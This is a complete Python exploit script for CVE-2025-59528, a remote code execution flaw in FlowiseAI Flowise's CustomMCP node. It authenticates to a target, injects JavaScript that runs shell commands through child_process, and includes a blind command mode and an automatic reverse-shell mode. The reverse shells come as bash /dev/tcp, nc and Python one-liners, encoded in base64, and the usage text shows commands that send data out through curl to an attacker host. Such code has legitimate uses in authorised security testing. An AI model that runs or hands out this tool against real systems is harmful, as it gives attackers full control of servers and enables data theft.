README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution
===========================================================
A critical (CVSS 10.0) RCE vulnerability in FlowiseAI Flowise versions
>= 2.2.7-patch.1 and < 3.0.6.
The convertToValidJSONString function in CustomMCP.ts passes user input
from the mcpServerConfig parameter to JavaScript's Function() constructor
(equivalent to eval()), allowing arbitrary code execution with full
Node.js runtime privileges.
Discovered by: Kim SooHyun (@im-soohyun)
Advisory: GHSA-3gcm-f6qx-ff7p
Fix: Flowise v3.0.6 (replaced Function() with JSON5.parse())
Usage:
# Check if target is vulnerable (time-based)
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Blind command execution
python3 exploit.py -t http://target:3000 --mode exec -c "curl http://attacker/pwned" --email [email protected] --password pass
# Reverse shell (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell --lhost ATTACKER_IP --lport 4444 --email [email protected] --password pass
"""
import argparse
import requests
import sys
import json
import base64
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = r"""
_____ _ _______ ___ ___ ___ ___ _____ ___ ___ ___ ___
/ ____| | | | ___| |__ \ / _ \__ \| __| | ____/ _ \| __|__ \( _ )
| | | | | | _| ______ ) | | | | ) |__ \ _____|__ \| (_) |__ \ / / _ \
| | | |_| | |_ |______/ /| |_| |/ / ___) |_____|__) \\__, |___) / /| (_) |
\____| \_/ |_____| |_| \___/|___|____/ |____/ /_/|____/_/ \___/
FlowiseAI CustomMCP Node — Remote Code Execution (CVE-2025-59528)
Discovered by Kim SooHyun (@im-soohyun)
"""
# API Endpoints
EXPLOIT_ENDPOINT = "/api/v1/node-load-method/customMCP"
LOGIN_ENDPOINT = "/api/v1/auth/login"
VERSION_ENDPOINT = "/api/v1/version"
# ─────────────────────────────────────────────────────────────
# Authentication
# ─────────────────────────────────────────────────────────────
def flowise_get_version(session, base_url):
"""Detect Flowise version via the version API endpoint."""
try:
resp = session.get(f"{base_url}{VERSION_ENDPOINT}", timeout=10)
if resp.status_code == 200:
data = resp.json()
return data if isinstance(data, str) else data.get("version")
except Exception:
pass
return None
def flowise_login(session, base_url, email, password):
"""
Authenticate via Flowise login API and store session cookies.
Flowise >= 3.0.1 requires JWT auth. The server returns JWT tokens
as Set-Cookie headers (token, refreshToken, connect.sid).
The requests session automatically stores these for subsequent calls.
"""
resp = session.post(
f"{base_url}{LOGIN_ENDPOINT}",
json={"email": email, "password": password},
timeout=10,
)
if resp.status_code == 200:
print("[+] Authentication successful")
return True
elif resp.status_code == 401:
print("[-] Authentication failed: invalid credentials")
return False
else:
print(f"[-] Login returned HTTP {resp.status_code}: {resp.text[:200]}")
return False
# ─────────────────────────────────────────────────────────────
# Payload Construction
# ─────────────────────────────────────────────────────────────
def build_payload(cmd: str) -> dict:
"""
Build the exploit request body with injected JavaScript.
The vulnerable code path: Function('return ' + mcpServerConfig)()
Our payload is a JS object literal with an IIFE that executes
arbitrary commands via child_process.exec() (async/non-blocking).
Uses exec() instead of execSync() to avoid blocking the Node.js
event loop, matching the approach in the Metasploit module.
"""
# Escape characters that break the JS string context
safe_cmd = cmd.replace('\\', '\\\\').replace('"', '\\"')
js_payload = (
'{x:(function(){'
'const cp = process.mainModule.require("child_process");'
f'cp.exec("{safe_cmd}",()=>{{}});'
'return 1;'
'})()}'
)
return {
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": js_payload
}
}
def build_revshell_cmd(lhost: str, lport: int, shell_type: str) -> str:
"""
Build a reverse shell one-liner, base64-encoded to avoid
escaping issues when injected into the JS payload.
"""
shells = {
"bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
"nc": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
"python": (
f"python3 -c 'import socket,subprocess,os;"
f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
f"s.connect((\"{lhost}\",{lport}));"
f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
f"subprocess.call([\"/bin/sh\",\"-i\"])'"
),
}
raw_cmd = shells.get(shell_type, shells["bash"])
b64 = base64.b64encode(raw_cmd.encode()).decode()
return f"echo {b64} | base64 -d | sh"
# ─────────────────────────────────────────────────────────────
# Exploit Sender
# ─────────────────────────────────────────────────────────────
def send_exploit(session, base_url, cmd, timeout=10):
"""
Send the exploit POST request to the CustomMCP endpoint.
NOTE: This is a blind RCE. The command output is NOT reflected
in the HTTP response. The server always returns the default
"No Available Actions" message regardless of execution result.
Use callback-based techniques or a reverse shell to get output.
"""
url = f"{base_url.rstrip('/')}{EXPLOIT_ENDPOINT}"
body = build_payload(cmd)
try:
resp = session.post(url, json=body, timeout=timeout, verify=False)
return resp
except requests.exceptions.Timeout:
print("[*] Request timed out (may indicate a blocking shell connected)")
return None
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection failed: {e}")
return None
# ─────────────────────────────────────────────────────────────
# Exploit Modes
# ─────────────────────────────────────────────────────────────
def mode_check(session, base_url):
"""
Verify the target is vulnerable using two methods:
1. Version detection via API
2. Time-based blind confirmation (sleep command)
"""
print("[*] Running vulnerability check...")
print()
# Version check
version = flowise_get_version(session, base_url)
if version:
print(f"[*] Flowise version: {version}")
else:
print("[!] Could not detect version")
# Time-based check
print("[*] Sending sleep(3) payload for time-based confirmation...")
start = time.time()
resp = send_exploit(session, base_url, "sleep 3", timeout=15)
elapsed = time.time() - start
if resp and resp.status_code == 401:
print("[-] Authentication required (401). Provide --email and --password")
return False
if elapsed >= 2.5:
print(f"[+] VULNERABLE — response delayed {elapsed:.1f}s (expected ~3s)")
return True
if resp and resp.status_code == 200:
print(f"[*] Got 200 in {elapsed:.1f}s — sleep may not have executed.")
print("[*] Target might still be vulnerable. Try --mode revshell to confirm.")
return None
print(f"[-] Not vulnerable or unreachable ({elapsed:.1f}s)")
return False
def mode_exec(session, base_url, cmd):
"""
Execute a blind command on the target.
Since this is blind RCE, use callback techniques to exfiltrate output:
--exec -c "curl http://ATTACKER:PORT/$(id | base64)"
--exec -c "wget http://ATTACKER:PORT/?out=$(whoami)"
"""
print(f"[*] Sending command: {cmd}")
print("[*] NOTE: This is blind RCE — output is NOT in the response.")
print("[*] Use callback (curl/wget to your server) to see output.")
print()
resp = send_exploit(session, base_url, cmd)
if resp is None:
return
if resp.status_code == 401:
print("[-] Authentication failed (401)")
return
if resp.status_code == 200:
print(f"[+] Payload delivered (HTTP 200)")
else:
print(f"[-] Unexpected response: HTTP {resp.status_code}")
print(resp.text[:300])
def mode_revshell(session, base_url, lhost, lport, shell_type):
"""Send reverse shell payload(s) to the target."""
types_to_try = ["bash", "nc", "python"] if shell_type == "auto" else [shell_type]
if shell_type == "auto":
print("[*] Auto mode — trying bash, nc, and python reverse shells")
print(f"[!] Start your listener first: nc -lvnp {lport}")
print()
for stype in types_to_try:
cmd = build_revshell_cmd(lhost, lport, stype)
print(f"[*] Sending {stype} reverse shell → {lhost}:{lport}")
resp = send_exploit(session, base_url, cmd, timeout=5)
if resp is None:
print(f"[+] Timed out — check your listener!")
return True
if resp.status_code == 401:
print("[-] Authentication failed (401)")
return False
if resp.status_code == 200:
print(f" Delivered (HTTP 200)")
print()
print("[*] All payloads sent. Check your listener!")
print("[*] exec() is async — the server responds immediately even on success.")
# ─────────────────────────────────────────────────────────────
# CLI
# ─────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-59528 — FlowiseAI CustomMCP Remote Code Execution",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
python3 exploit.py -t http://target:3000 --mode exec -c "curl http://ATTACKER/pwned" --email [email protected] --password pass
python3 exploit.py -t http://target:3000 --mode revshell --lhost 10.10.14.1 --lport 4444 --email [email protected] --password pass
python3 exploit.py -t http://target:3000 --mode revshell --lhost 10.10.14.1 --lport 4444 --cookie "token=eyJ...;connect.sid=s%3A..."
"""
)
parser.add_argument("-t", "--target", required=True,
help="Target URL (e.g. http://target:3000)")
parser.add_argument("--mode", required=True, choices=["check", "exec", "revshell"],
help="check = test vuln, exec = blind cmd, revshell = reverse shell")
parser.add_argument("-c", "--command", default="id",
help="Command to run (exec mode)")
parser.add_argument("--lhost", help="Your IP (revshell mode)")
parser.add_argument("--lport", type=int, default=4444, help="Your port (default: 4444)")
parser.add_argument("--shell-type", default="auto",
choices=["auto", "bash", "nc", "python"],
help="Reverse shell type (default: auto)")
auth = parser.add_argument_group("Authentication")
auth.add_argument("--email", help="Flowise email (JWT auth, >= 3.0.1)")
auth.add_argument("--password", help="Flowise password")
auth.add_argument("--username", help="Flowise username (Basic Auth, < 3.0.1)")
auth.add_argument("--cookie", help="Raw Cookie header string (fallback)")
args = parser.parse_args()
print(BANNER)
# Normalize URL
target = args.target if args.target.startswith("http") else f"http://{args.target}"
# Setup session
session = requests.Session()
session.verify = False
session.headers.update({
"Content-Type": "application/json",
"x-request-from": "internal",
})
print(f"[*] Target: {target}")
print(f"[*] Mode: {args.mode}")
# ── Authentication ──
if args.cookie:
session.headers["Cookie"] = args.cookie
print("[*] Auth: cookie string")
elif args.email and args.password:
print(f"[*] Auth: JWT login ({args.email})")
if not flowise_login(session, target, args.email, args.password):
sys.exit(1)
elif args.username and args.password:
session.auth = (args.username, args.password)
print(f"[*] Auth: Basic ({args.username})")
else:
print("[*] Auth: none")
print()
# ── Run mode ──
if args.mode == "check":
mode_check(session, target)
elif args.mode == "exec":
mode_exec(session, target, args.command)
elif args.mode == "revshell":
if not args.lhost:
print("[-] --lhost is required for revshell mode")
sys.exit(1)
mode_revshell(session, target, args.lhost, args.lport, args.shell_type)
if __name__ == "__main__":
main()